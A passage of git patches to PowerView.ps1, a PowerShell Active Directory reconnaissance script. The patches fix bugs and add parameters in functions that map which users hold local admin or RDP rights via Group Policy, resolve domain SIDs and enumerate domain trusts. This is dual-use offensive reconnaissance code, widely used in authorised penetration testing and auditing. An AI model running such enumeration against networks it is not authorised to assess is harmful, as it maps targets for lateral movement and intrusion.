if($MembershipValue -isnot [System.Array]) { $MembershipValue = @($MembershipValue) } if($ResolveMemberSIDs) { + # if the resulting member is username and not a SID, attempt to resolve it $GroupMembers = @() ForEach($Member in $MembershipValue) { - Write-Verbose "Member: $Member" if($Member -notmatch '^S-1-.*') { $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID if($MemberSID) { @@ -6714,7 +6733,7 @@ function Get-NetGPOGroup { ForEach ($Membership in $Memberships.GetEnumerator()) { if($Membership.Key -match '^\*') { - # if the SID is already resolved, try to resolve SID to a name + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name $GroupSID = $Membership.Key.Trim('*') $GroupName = Convert-SidToName -SID $GroupSID } @@ -6739,6 +6758,7 @@ function Get-NetGPOGroup { $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' $GPOGroup | Add-Member Noteproperty 'Filters' $Null $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID @@ -6758,6 +6778,7 @@ function Get-NetGPOGroup { $GroupMembers = @() ForEach($Member in $_.GroupMembers) { if($Member -notmatch '^S-1-.*') { + # if the resulting member is username and not a SID, attempt to resolve it $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID if($MemberSID) { $GroupMembers += $MemberSID @@ -6775,6 +6796,7 @@ function Get-NetGPOGroup { $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' $_ } } @@ -6784,10 +6806,19 @@ function Get-NetGPOGroup { function Find-GPOLocation { <# .SYNOPSIS + + Enumerates the machines where a specific user/group is a member of a specific + local group, all through GPO correlation. - Takes a user/group name and optional domain, and determines - the computers in the domain the user/group has local admin - (or RDP) rights to. + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite + Optional Dependencies: None + + .DESCRIPTION + + Takes a user/group name and optional domain, and determines the computers in the domain + the user/group has local admin (or RDP) rights to. It does this by: 1. resolving the user/group to its proper SID @@ -6800,6 +6831,9 @@ function Find-GPOLocation { 5. enumerating all OUs and sites and applicable GPO GUIs are applied to through gplink enumerating 6. querying for all computers under the given OUs or sites + + If no user/group is specified, all user/group -> machine mappings discovered through + GPO relationships are returned. .PARAMETER UserName @@ -6831,6 +6865,13 @@ function Find-GPOLocation { The PageSize to set for the LDAP searcher object. + .EXAMPLE + + PS C:\> Find-GPOLocation + + Find all user/group -> machine relationships where the user/group is a member + of the local administrators group on target machines. + .EXAMPLE PS C:\> Find-GPOLocation -UserName dfm @@ -6878,11 +6919,11 @@ function Find-GPOLocation { ) if($UserName) { - + # if a group name is specified, get that user object so we can extract the target SID $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize $UserSid = $User.objectsid - if(!$UserSid) { + if(-not $UserSid) { Throw "User '$UserName' not found!" } @@ -6891,11 +6932,11 @@ function Find-GPOLocation { $TargetObject = $UserSid } elseif($GroupName) { - + # if a group name is specified, get that group object so we can extract the target SID $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize $GroupSid = $Group.objectsid - if(!$GroupSid) { + if(-not $GroupSid) { Throw "Group '$GroupName' not found!" } @@ -6907,6 +6948,7 @@ function Find-GPOLocation { $TargetSIDs = @('*') } + # figure out what the SID is of the target local group we're checking for membership in if($LocalGroup -like "*Admin*") { $TargetLocalSID = 'S-1-5-32-544' } @@ -6920,8 +6962,9 @@ function Find-GPOLocation { throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." } + # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to + # get all effective security SIDs this object is a part of if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) { - # use the tokenGroups approach from Get-NetGroup to get all effective security SIDs this object is a part of $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids } @@ -6940,6 +6983,7 @@ function Find-GPOLocation { 'PageSize' = $PageSize } + # enumerate all GPO group mappings for the target domain $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { $GPOgroup = $_ @@ -6960,26 +7004,24 @@ function Find-GPOLocation { $GPOname = $_.GPODisplayName $GPOguid = $_.GPOName $GPOPath = $_.GPOPath + $GPOType = $_.GPOType $GPOMembers = $_.GroupMembers $Filters = $_.Filters if(-not $TargetObject) { # if the * wildcard was used, set the ObjectDistName as the GPO member SID set - $TargetObject = $GPOMembers - } - - if($GPOName -match 'Groups.xml') { - $GPOType = 'GroupPolicyPreferences' + # so all relationship mappings are output + $TargetObjectSIDs = $GPOMembers } else { - $GPOType = 'RestrictedGroups' + $TargetObjectSIDs = $TargetObject } # find any OUs that have this GUID applied and then retrieve any computers from the OU Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { if($Filters) { # filter for computer name/org unit if a filter is specified - # TODO: handle other filters (i.e. OU filters?) + # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP... $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { $_.adspath -match ($Filters.Value) } | ForEach-Object { $_.dnshostname } @@ -6990,7 +7032,7 @@ function Find-GPOLocation { if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} - ForEach ($TargetSid in $TargetObject) { + ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize @@ -7014,7 +7056,7 @@ function Find-GPOLocation { # find any sites that have this GUID applied Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { - ForEach ($TargetSid in $TargetObject) { + ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -7041,8 +7083,23 @@ function Find-GPOComputerAdmin { <# .SYNOPSIS - Takes a computer (or GPO) object and determines what users/groups have - administrative access over it. + Takes a computer (or GPO) object and determines what users/groups are in the specified + local group for the machine. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName + Optional Dependencies: None + + .DESCRIPTION + + If a -ComputerName is specified, retrieve the complete computer object, attempt to + determine the OU the computer is a part of. Then resolve the computer's site name with + Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to + enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For + each resulting GPO group, resolve the resulting user/group name to a full AD object and + return the results. This will return the domain objects that are members of the specified + -LocalGroup for the given computer. Inverse of Find-GPOLocation. @@ -7211,13 +7268,6 @@ function Find-GPOComputerAdmin { $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { $GPOGroup = $_ - if($GPOGroup.GPOPath -match 'Groups.xml') { - $GPOType = 'GroupPolicyPreferences' - } - else { - $GPOType = 'RestrictedGroups' - } - $GPOGroup.GroupMembers | ForEach-Object { # resolve this SID to a domain object @@ -7234,7 +7284,7 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType.GPOType $GPOComputerAdmin # if we're recursing and the current result object is a group -- cgit v1.2.3 From d37ec66c7931b1da83f44477ef37f7f50c53bcf5 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 7 Jun 2016 15:36:39 -0400 Subject: bug fixes/error handling in Get-NetGPOGroup for version 2 --- Recon/PowerView.ps1 | 73 +++++++++++++++++++++++++++++++---------------------- 1 file changed, 43 insertions(+), 30 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index a75a950..46ecf82 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6702,25 +6702,26 @@ function Get-NetGPOGroup { $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} # extract out ALL members - $MembershipValue = $Membership.Value.Split(',') | ForEach-Object { $_.Trim('*') } | Where-Object {$_} - if($MembershipValue -isnot [System.Array]) { $MembershipValue = @($MembershipValue) } + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} if($ResolveMemberSIDs) { # if the resulting member is username and not a SID, attempt to resolve it $GroupMembers = @() ForEach($Member in $MembershipValue) { - if($Member -notmatch '^S-1-.*') { - $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } } else { $GroupMembers += $Member } } - else { - $GroupMembers += $Member - } } $MembershipValue = $GroupMembers } @@ -6732,25 +6733,35 @@ function Get-NetGPOGroup { } ForEach ($Membership in $Memberships.GetEnumerator()) { - if($Membership.Key -match '^\*') { + if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name $GroupSID = $Membership.Key.Trim('*') - $GroupName = Convert-SidToName -SID $GroupSID + if($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = Convert-SidToName -SID $GroupSID + } + else { + $GroupName = $False + } } else { $GroupName = $Membership.Key - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - else { - $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + if($GroupName -and ($GroupName.Trim() -ne '')) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif($GroupName.Trim() -ne '') { + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + else { + $GroupSID = $Null + } } } @@ -6777,19 +6788,21 @@ function Get-NetGPOGroup { if($ResolveMemberSIDs) { $GroupMembers = @() ForEach($Member in $_.GroupMembers) { - if($Member -notmatch '^S-1-.*') { - # if the resulting member is username and not a SID, attempt to resolve it - $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + # if the resulting member is username and not a SID, attempt to resolve it + $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } } else { $GroupMembers += $Member } } - else { - $GroupMembers += $Member - } } $_.GroupMembers = $GroupMembers } -- cgit v1.2.3 From b5172c2befc61ee7494f08b95396ba8565675fae Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 8 Jun 2016 00:44:24 -0400 Subject: Fixed a few GC bugs in Get-DomainSearcher Added attempted gpcfilesyspath resolution to Get-NetGPO Added -ADSPath for Get-NetDomainTrust --- Recon/PowerView.ps1 | 73 +++++++++++++++++++++++++++++++++++------------------ 1 file changed, 49 insertions(+), 24 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 46ecf82..7facef3 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -895,7 +895,7 @@ filter Convert-NameToSid { $Domain = $ObjectName.Split("\")[0] $ObjectName = $ObjectName.Split("\")[1] } - elseif(!$Domain) { + elseif(-not $Domain) { $Domain = (Get-NetDomain).Name } @@ -1698,11 +1698,11 @@ filter Get-DomainSearcher { $Credential ) - if(!$Credential) { - if(!$Domain) { + if(-not $Credential) { + if(-not $Domain) { $Domain = (Get-NetDomain).name } - elseif(!$DomainController) { + elseif(-not $DomainController) { try { # if there's no -DomainController specified, try to pull the primary DC to reflect queries through $DomainController = ((Get-NetDomain).PdcRoleOwner).Name @@ -1712,7 +1712,7 @@ filter Get-DomainSearcher { } } } - elseif (!$DomainController) { + elseif (-not $DomainController) { try { $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name } @@ -1730,24 +1730,24 @@ filter Get-DomainSearcher { if($DomainController) { $SearchString += $DomainController if($Domain){ - $SearchString += "/" + $SearchString += '/' } } if($ADSprefix) { - $SearchString += $ADSprefix + "," + $SearchString += $ADSprefix + ',' } if($ADSpath) { - if($ADSpath -like "GC://*") { + if($ADSpath -Match '^GC://') { # if we're searching the global catalog - $DN = $AdsPath - $SearchString = "" + $DN = $AdsPath.ToUpper().Trim('/') + $SearchString = '' } else { - if($ADSpath -like "LDAP://*") { + if($ADSpath -match '^LDAP://') { if($ADSpath -match "LDAP://.+/.+") { - $SearchString = "" + $SearchString = '' } else { $ADSpath = $ADSpath.Substring(7) @@ -4851,7 +4851,7 @@ function Get-NetSite { $SiteSearcher.dispose() } catch { - Write-Warning $_ + Write-Verbose $_ } } } @@ -6351,8 +6351,23 @@ function Get-NetGPO { try { $Results = $GPOSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + if($ADSPath -and ($ADSpath -Match '^GC://')) { + $Properties = Convert-LDAPProperty -Properties $_.Properties + try { + $GPODN = $Properties.distinguishedname + $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)" + $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + $Properties + } + catch { + $Properties + } + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } } $Results.dispose() $GPOSearcher.dispose() @@ -6710,7 +6725,7 @@ function Get-NetGPOGroup { ForEach($Member in $MembershipValue) { if($Member -and ($Member.Trim() -ne '')) { if($Member -notmatch '^S-1-.*') { - $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID if($MemberSID) { $GroupMembers += $MemberSID } @@ -6729,6 +6744,7 @@ function Get-NetGPOGroup { if(-not $Memberships[$Group]) { $Memberships[$Group] = @{} } + if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} $Memberships[$Group].Add($Relation, $MembershipValue) } @@ -6757,7 +6773,7 @@ function Get-NetGPOGroup { $GroupSID = 'S-1-5-32-546' } elseif($GroupName.Trim() -ne '') { - $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID } else { $GroupSID = $Null @@ -6791,7 +6807,7 @@ function Get-NetGPOGroup { if($Member -and ($Member.Trim() -ne '')) { if($Member -notmatch '^S-1-.*') { # if the resulting member is username and not a SID, attempt to resolve it - $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID if($MemberSID) { $GroupMembers += $MemberSID } @@ -6933,7 +6949,7 @@ function Find-GPOLocation { if($UserName) { # if a group name is specified, get that user object so we can extract the target SID - $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 $UserSid = $User.objectsid if(-not $UserSid) { @@ -6946,7 +6962,7 @@ function Find-GPOLocation { } elseif($GroupName) { # if a group name is specified, get that group object so we can extract the target SID - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1 $GroupSid = $Group.objectsid if(-not $GroupSid) { @@ -7046,8 +7062,7 @@ function Find-GPOLocation { if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} ForEach ($TargetSid in $TargetObjectSIDs) { - - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -7055,6 +7070,7 @@ function Find-GPOLocation { $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'Domain' $Domain $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid @@ -7070,7 +7086,7 @@ function Find-GPOLocation { Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -7079,6 +7095,7 @@ function Find-GPOLocation { $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + $AppliedSite | Add-Member Noteproperty 'Domain' $Domain $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath @@ -12396,6 +12413,11 @@ function Get-NetDomainTrust { Domain controller to reflect LDAP queries through. + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local". + Useful for global catalog queries ;) + .PARAMETER API Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. @@ -12451,6 +12473,9 @@ function Get-NetDomainTrust { [String] $DomainController, + [String] + $ADSpath, + [Switch] $API, @@ -12473,7 +12498,7 @@ function Get-NetDomainTrust { if($LDAP) { - $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController if($TrustSearcher) { -- cgit v1.2.3 From c53cd87d8f93637a2f26973036a749ab9d3e78fc Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 8 Jun 2016 01:35:33 -0400 Subject: Fixed LDAP preference for when -ADSPath is passed to Get-NetDomainTrust Fixed Get-DomainSID to allow for a -DomainController parameter Fixed Get-NetDomainTrust logic --- Recon/PowerView.ps1 | 49 +++++++++++++++++++++++++++++-------------------- 1 file changed, 29 insertions(+), 20 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 7facef3..1c2bd26 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1713,6 +1713,7 @@ filter Get-DomainSearcher { } } elseif (-not $DomainController) { + # if a DC isn't specified try { $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name } @@ -4987,6 +4988,10 @@ function Get-DomainSID { The domain to query, defaults to the current domain. + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + .EXAMPLE C:\> Get-DomainSID -Domain TEST @@ -4996,16 +5001,15 @@ function Get-DomainSID { param( [String] - $Domain + $Domain, + + [String] + $DomainController ) - $FoundDomain = Get-NetDomain -Domain $Domain - - if($FoundDomain) { - # query for the primary domain controller so we can extract the domain SID for filtering - $PrimaryDC = $FoundDomain.PdcRoleOwner - $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid - $Parts = $PrimaryDCSID.split("-") + $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid + if($DCSID) { + $Parts = $DCSID.split("-") $Parts[0..($Parts.length -2)] -join "-" } } @@ -5342,7 +5346,7 @@ function Get-NetGroupMember { } else { # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" + $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname @@ -5368,7 +5372,7 @@ function Get-NetGroupMember { } else { # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" + $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } @@ -12288,7 +12292,7 @@ function Invoke-EnumerateLocalAdmin { } # query for the primary domain controller so we can extract the domain SID for filtering - $DomainSID = Get-DomainSID -Domain $Domain + $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController } # script block that enumerates a server @@ -12466,7 +12470,7 @@ function Get-NetDomainTrust { [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$True)] + [Parameter(Position=0, ValueFromPipeline=$True)] [String] $Domain, @@ -12492,14 +12496,19 @@ function Get-NetDomainTrust { process { - if((-not $Domain) -or ((-not $API) -and (-not $DomainController))) { - $Domain = (Get-NetDomain -Credential $Credential).Name + if(-not $Domain) { + # if not domain is specified grab the current domain + $SourceDomain = (Get-NetDomain -Credential $Credential).Name } + else { + $SourceDomain = $Domain + } + + if($LDAP -or $ADSPath) { - if($LDAP) { + $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath - $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath - $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController + $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController if($TrustSearcher) { @@ -12533,7 +12542,7 @@ function Get-NetDomainTrust { } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value - $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID @@ -12548,7 +12557,7 @@ function Get-NetDomainTrust { } elseif($API) { if(-not $DomainController) { - $DomainController = Get-NetDomainController -Credential $Credential -Domain $Domain | Select-Object -First 1 | Select-Object -ExpandProperty Name + $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name } if($DomainController) { @@ -12588,7 +12597,7 @@ function Get-NetDomainTrust { } else { $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName -- cgit v1.2.3 From 8270743fb1ec9dc00da0aab41ea98db594fc02ed Mon Sep 17 00:00:00 2001 From: Stephen Breen Date: Sat, 11 Jun 2016 00:26:40 -0400 Subject: Fixed thread countdown timer in Invoke-ThreadedFunction, wasn't ever killing rogue jobs --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 1c2bd26..62ed867 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9263,7 +9263,7 @@ function Invoke-ThreadedFunction { $WaitTimeout = Get-Date # set a 60 second timeout for the scanning threads - while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) { + while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -and $($($(Get-Date) - $WaitTimeout).totalSeconds) -lt 60) { Start-Sleep -MilliSeconds 500 } -- cgit v1.2.3 From 9cd0955c5dda1ccd3e4484428cab5e44820c82f7 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 12 Jun 2016 19:37:17 -0400 Subject: Cleaned up Get-NetGroup's logic a bit, removed filtering for primary group ID (i.e. domain users) Modified Get-DomainSID to simplify Changed group determination in Get-NetLocalGroup -API Few optimizations to Find-ForeignUser and Find-ForeignGroup Changed DNS resolution method for Invoke-UserHunter Added 'PowerView.GPOLocalGroup' type to Find-GPOLocation --- Recon/PowerView.ps1 | 172 +++++++++++++++++++++++++++++----------------------- 1 file changed, 96 insertions(+), 76 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 62ed867..4913db0 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1071,17 +1071,17 @@ filter Convert-ADName { ) $NameTypes = @{ - "Canonical" = 2 - "NT4" = 3 - "Simple" = 5 + 'Canonical' = 2 + 'NT4' = 3 + 'Simple' = 5 } - if(!$PSBoundParameters['InputType']) { + if(-not $PSBoundParameters['InputType']) { if( ($ObjectName.split('/')).Count -eq 2 ) { $ObjectName = $ObjectName.replace('/', '\') } - if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+$") { + if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") { $InputType = 'NT4' } elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { @@ -1099,7 +1099,7 @@ filter Convert-ADName { $ObjectName = $ObjectName.replace('/', '\') } - if(!$PSBoundParameters['OutputType']) { + if(-not $PSBoundParameters['OutputType']) { $OutputType = Switch($InputType) { 'NT4' {'Canonical'} 'Simple' {'NT4'} @@ -5009,8 +5009,10 @@ function Get-DomainSID { $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid if($DCSID) { - $Parts = $DCSID.split("-") - $Parts[0..($Parts.length -2)] -join "-" + $DCSID.Substring(0, $DCSID.LastIndexOf('-')) + } + else { + Write-Warning "Error extracting domain SID for $Domain" } } @@ -5147,35 +5149,40 @@ function Get-NetGroup { if ($UserName) { # get the raw user object - $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1 - # convert the user to a directory entry - $UserDirectoryEntry = $User.GetDirectoryEntry() + if($User) { + # convert the user to a directory entry + $UserDirectoryEntry = $User.GetDirectoryEntry() - # cause the cache to calculate the token groups for the user - $UserDirectoryEntry.RefreshCache("tokenGroups") + # cause the cache to calculate the token groups for the user + $UserDirectoryEntry.RefreshCache("tokenGroups") - $UserDirectoryEntry.TokenGroups | ForEach-Object { - # convert the token group sid - $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value - - # ignore the built in users and default domain user group - if(!($GroupSid -match '^S-1-5-32-545|-513$')) { - if($FullData) { - $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential - 